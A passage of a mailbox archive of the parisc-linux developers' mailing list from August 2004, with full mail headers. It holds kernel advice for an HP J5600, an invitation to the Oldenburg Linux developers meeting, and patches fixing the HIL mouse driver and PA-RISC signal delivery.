	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23851-08; Mon, 23 Aug 2004 23:01:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EDBBB3BDF9; Mon, 23 Aug 2004 23:01:18 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C3A2A3BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 23:01:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23933-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 23:01:13 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 644D23BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Aug 2004 23:01:13 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id A169A298114; Mon, 23 Aug 2004 23:01:12 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00746-06; Mon, 23 Aug 2004 23:01:11 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CE95E298110; Mon, 23 Aug 2004 23:01:11 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <412A21B9.8070008@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21888

On Mon, Aug 23, 2004 at 04:56:25PM +0000, Joel Soete wrote:
> >Last week I managed to install debian woody onto an HP J5600, using a 
...
> hmm j5600 is a sister of my b2k (may be can I sent you my .config file to 
> test?)

correct. He should be able to use the linux-2.6 c3000_config file.

> >What is the current recommended stable kernel for this machine, and for 
> >running an smp kernel? Is 2.6.x stable enough on hppa yet?
> >
> A lot of improvement :) (just take care to grab it from 
> <http://cvs.parisc-linux.org/download/>)

2.6 kernels and source tarballs are available here:
	http://cvs.parisc-linux.org/download/linux-2.6/

We currently do not auto-build a 32-bit SMP kernel and that's what
I suggest you try first. Grab the latest source tarball, tweak
arch/parisc/configs/c3000_config to enable SMP, and "make".

Note PARISC SMP support has only recently been fixed in our linux-2.6
tree (thanks jejb, tausq!) and hasn't been broadly tested.

But the same bugs jejb found still exist in 2.4 kernels.
Kyle McMartin is looking at back porting those fixes and could
probably use help with the N4K and "mb() in spinlock()" patches.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Invitation to the Oldenburg Linux Developers Meeting
	#9
Date: Fri, 20 Aug 2004 12:38:46 +0200
Lines: 105
Approved: news@gmane.org
Message-ID: <20040820103846.GZ1784__15448.0833014988$1416623526$gmane$org@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623526 10785 80.91.229.3 (22 Nov 2014 02:32:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:06 +0000 (UTC)
To: Linux for m68k <linux-m68k@phil.uni-sb.de>,
 Linux for MIPS <linux-mips@linux-mips.org>,
 Linux for PA-RISC <parisc-linux@lists.parisc-linux.org>,
 Linux for Powerpc <linuxppc-dev@lists.linuxppc.org>,
 Debian M68k Development <debian-68k@lists.debian.org>,
 Debian MIPS Development <debian-mips@lists.debian.org>,
 Debian PA-RISC Development <debian-hppa@lists.debian.org>,
 Debian Powerpc Development <debian-powerpc@lists.debian.org>,
 Debian ARM Development <debian-arm@lists.debian.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14781 invoked by uid 65534); 24 Aug 2004 14:04:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx019) with SMTP; 24 Aug 2004 16:04:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8AD243BDE6; Tue, 24 Aug 2004 08:04:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28456-05; Tue, 24 Aug 2004 08:04:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 644DE3BDEA; Tue, 24 Aug 2004 08:03:59 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 574B83BDF4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Aug 2004 04:47:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06665-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Aug 2004 04:47:36 -0600 (MDT)
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by free.linux.hp.com (Postfix) with ESMTP id BFD513BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 20 Aug 2004 04:47:35 -0600 (MDT)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
	id 064E9366B6A; Fri, 20 Aug 2004 12:47:33 +0200 (CEST)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	from infodrom.org by finlandia.Infodrom.North.DE via smail from stdin
	id <m1By6nG-000olzC@finlandia.Infodrom.North.DE>
	for debian-arm@lists.debian.org; Fri, 20 Aug 2004 12:38:46 +0200 (CEST) 
Content-Disposition: inline
User-Agent: Mutt/1.5.6+20040803i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Tue, 24 Aug 2004 08:03:57 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21889

Moin!

       Invitation to the Oldenburg Linux Developers Meeting #9
       -------------------------------------------------------

Executive summary:

URL:   http://oldenburger.linuxtage.de/Oldenburg2004/
What:  Oldenburg Linux Developers Meeting #9
Who:   Every developer interested in Linux on non-i386 platforms
       Every developer interested in developing the debian-installer
When:  September, 22nd to 26th (Wednesday noon to Sunday afternoon)
Where: University of Oldenburg, science building in Oldenburg Wechloy
Orga:  ffis e.V., Martin 'Joey' Schulze


Keeping the tradition alive we will organise another Linux developers
meeting in Oldenburg this year at the last weekend of September.  This
year, however, we will be able to use the facility from Wednesday to
Sunday, hence, one day longer than before.

There were loud complaints last year about the meeting being too
short, so it will be extended by one day this time.  The meeting will
take place at the University of Oldenburg in the scientific building
in Oldenburg Wechloy.

the goal of this developers meeting is to provide developers a means
to work in common on the non-i386 Linux ports and related topics and
to further the exchange of ideas and discussion about the several
ports.

We will have dedicated working and sleeping rooms as before.  We
should be able to use three more rooms during the nights in case the
number of attending developers is too high for the two dedicated
sleeping rooms.  We will be able to use the shower facility of the
sports department nearby.

This year Debian developers will join us again for work on the new
debian-installer.  They will probably want to test the installer on
some "obscure" hardware they don't normally have access to, so don't
worry if you should receive such a request.

We will have dinner together in a restaurant in the evening.  A
preliminary plan is on the web already, but the restaurants and the
order may still change.  We will have a barbecue on Friday for this is
the tenth developers meeting already.

As usual we will have a never-ending breakfast in the large working
room.  I will get rolls each morning and ensure that there will be
butter, cheese, saussages, jam, Nutella and stuff.  I'll also take
care of non-alcoholic fluids.

Attendance is free of cost including food and beverage in the working
rooms (although we are always thankful for donations, EUR 10-20 per
person should cover the expenses).  However, for the barbecue on
Friday instead of a restaurant we would be thankful if you could take
a stake in the expenses, EUR 5-10 should cover the costs.

Beside machines, equipment and documentation you'll need to take with
you a sleeping bag, maybe a camping mat or cot, towels, shower suff,
personal toilett stuff, maybe medicine, clothes, mug and plate are
optional but helpful.

You'll find routing information on the website mentioned above.

If you would like to attend the meeting, please send back the
following form, so that we can calculate space, power and food.

Name ................:

Date of arrival .....: ( ) Wednesday, Sep, 22nd
                       ( ) Thursday, Sep, 23rd
                       ( ) Friday, Sep, 24th 
                       ( ) Saturday, Sep, 25th

Date of departure ...: ( ) Friday, Sep. 24th
                       ( ) Saturday, Sep. 25th
                       ( ) Sunday, Sep. 26th

[ ] Vegetarian (only needed for the barbecue)

___ usable seats in my car, once arrived (only if you come by car)

Special requirements for food: ______________________

If you come by train/plane and want me to pick up up in Bremen or
Oldenburg, please drop me the exact arrival and departure times as
well.

If you have any further questions, please don't hesitate to ask me.

Regards,

	Joey

-- 
A mathematician is a machine for converting coffee into theorems.   Paul Erds

Please always Cc to me when replying to me on the lists.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Fix HIL Mouse driver for 2.6
Date: Thu, 26 Aug 2004 05:54:14 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20040826045414.GA3510@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623526 10786 80.91.229.3 (22 Nov 2014 02:32:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9210 invoked by uid 65534); 26 Aug 2004 04:55:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 26 Aug 2004 06:55:13 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6260D3BDF8; Wed, 25 Aug 2004 22:55:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13995-10; Wed, 25 Aug 2004 22:55:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8BA4F3BDF4; Wed, 25 Aug 2004 22:54:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2381C3BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Aug 2004 22:54:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15561-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Aug 2004 22:54:27 -0600 (MDT)
Original-Received: from mta02-svc.ntlworld.com (mta02-svc.ntlworld.com [62.253.162.42])
	by free.linux.hp.com (Postfix) with ESMTP id 9B44D3BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Aug 2004 22:54:22 -0600 (MDT)
Original-Received: from janus ([81.105.248.115]) by mta02-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040826045235.QDBD4370.mta02-svc.ntlworld.com@janus>
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 05:52:35 +0100
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1C0CH8-0000v1-00 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 05:54:14 +0100
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21890

Hi,

This patch makes the HIL pointer driver work in 2.6.  I have tested
it with both gpm and xfree86.

IIUC, users of PS/2 mice with HIL hubs should use the psmouse driver
(CONFIG_MOUSE_PS2) instead.  CONFIG_MOUSE_HIL is not needed for this.

The hil_ptr driver is for genuine HIL mice.  To compile it you need
CONFIG_MOUSE_HIL.  CONFIG_MOUSE_PS2 is not needed for HIL mice.

Index: drivers/input/mouse/hil_ptr.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/input/mouse/hil_ptr.c,v
retrieving revision 1.8
diff -u -r1.8 hil_ptr.c
--- drivers/input/mouse/hil_ptr.c	6 Jan 2004 22:31:59 -0000	1.8
+++ drivers/input/mouse/hil_ptr.c	26 Aug 2004 03:58:11 -0000
@@ -176,6 +176,7 @@
 		btn = ptr->btnmap[btn];
 		input_report_key(dev, btn, !up);
 	}
+	input_sync(dev);
  out:
 	ptr->idx4 = 0;
 	up(&ptr->sem);
@@ -284,6 +285,7 @@
 
 	up(&(ptr->sem));
 
+	init_input_dev(&ptr->dev);
 	did = ptr->idd[0];
 	idd = ptr->idd + 1;
 	txt = "unknown";

-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@skynet.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Signal fixes for 2.6? Willing testers? :)
Date: Thu, 26 Aug 2004 01:43:26 -0400
Lines: 62
Approved: news@gmane.org
Message-ID: <20040826054326.GB31656@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623526 10789 80.91.229.3 (22 Nov 2014 02:32:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:06 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23926 invoked by uid 65534); 26 Aug 2004 05:44:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 26 Aug 2004 07:44:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 277153BE17; Wed, 25 Aug 2004 23:44:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16161-04; Wed, 25 Aug 2004 23:44:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E07C03BDFF; Wed, 25 Aug 2004 23:43:39 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1893B3BDF4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Aug 2004 23:43:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15790-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Aug 2004 23:43:34 -0600 (MDT)
Original-Received: from skynet1.skynet.ca (skynet1.skynet.ca [204.101.190.4])
	by free.linux.hp.com (Postfix) with ESMTP id 22DF53BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Aug 2004 23:43:33 -0600 (MDT)
Original-Received: from systemhalted (masq-adsl120.skynet.ca [204.101.190.120])
	by skynet1.skynet.ca (8.11.6/8.11.2) with ESMTP id i7Q5hQe08387
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 01:43:29 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (91% Sync Ratio [=========.])
User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21891


pa,

Who wants to stress test this? :)
Don't blame me if your box dies...

We could be losing signals if handle_signal fails under
heavy load. Full gcc 'make check' testsuite runs are
probably the best trigger.

c.

Index: signal.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/signal.c,v
retrieving revision 1.17
diff -u -p -r1.17 signal.c
--- signal.c	31 Mar 2004 07:03:13 -0000	1.17
+++ signal.c	26 Aug 2004 02:58:59 -0000
@@ -553,10 +553,15 @@ do_signal(sigset_t *oldset, struct pt_re
 		oldset->sig[0], oldset->sig[1]);
 
 
-	signr = get_signal_to_deliver(&info, regs, NULL);
-	DBG(3,"do_signal: signr = %d, regs->gr[28] = %ld\n", signr, regs->gr[28]); 
+	/* May need to force signal if handle_signal failed to deliver */
+	while (1) {
+	  
+		signr = get_signal_to_deliver(&info, regs, NULL);
+		DBG(3,"do_signal: signr = %d, regs->gr[28] = %ld\n", signr, regs->gr[28]); 
 	
-	if (signr > 0) {
+		if (signr <= 0)
+		  break;
+		
 		/* Restart a system call if necessary. */
 		if (in_syscall) {
 			/* Check the return code */
@@ -578,8 +583,7 @@ do_signal(sigset_t *oldset, struct pt_re
 			/* fallthrough */
 			case -ERESTARTNOINTR:
 				/* A syscall is just a branch, so all
-                                   we have to do is fiddle the return
-                                   pointer. */
+				   we have to do is fiddle the return pointer. */
 				regs->gr[31] -= 8; /* delayed branching */
 				/* Preserve original r28. */
 				regs->gr[28] = regs->orig_r28;
@@ -595,6 +599,7 @@ do_signal(sigset_t *oldset, struct pt_re
 			return 1;
 		}
 	}
+	/* end of while(1) looping forever if we can't force a signal */
 
 	/* Did we come from a system call? */
 	if (in_syscall) {
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Fix HIL Mouse driver for 2.6
Date: Thu, 26 Aug 2004 09:07:25 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <200408260907.25716.deller@gmx.de>
References: <20040826045414.GA3510@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623527 10793 80.91.229.3 (22 Nov 2014 02:32:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15484 invoked by uid 65534); 26 Aug 2004 07:08:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 26 Aug 2004 09:08:47 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 85D043BDFF; Thu, 26 Aug 2004 01:08:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16940-03; Thu, 26 Aug 2004 01:08:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id ECB593BE12; Thu, 26 Aug 2004 01:07:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58EB93BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 01:07:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16246-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 01:07:33 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 8099D3BDF4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 01:07:32 -0600 (MDT)
Original-Received: (qmail 21646 invoked by uid 65534); 26 Aug 2004 07:07:28 -0000
Original-Received: from pD9FE739D.dip.t-dialin.net (EHLO p100) (217.254.115.157)
	by mail.gmx.net (mp003) with SMTP; 26 Aug 2004 09:07:28 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.7
In-Reply-To: <20040826045414.GA3510@ntlworld.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21892

Hi Stuart,

I've applied both patches you sent to the parisc linux CVS tree.

Thanks a lot,
Helge

PS: I didn't tested them yet, but will try to do so later today....

On Thursday 26 August 2004 06:54, Stuart Brady wrote:
> This patch makes the HIL pointer driver work in 2.6.  I have tested
> it with both gpm and xfree86.
> 
> IIUC, users of PS/2 mice with HIL hubs should use the psmouse driver
> (CONFIG_MOUSE_PS2) instead.  CONFIG_MOUSE_HIL is not needed for this.
> 
> The hil_ptr driver is for genuine HIL mice.  To compile it you need
> CONFIG_MOUSE_HIL.  CONFIG_MOUSE_PS2 is not needed for HIL mice.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0001
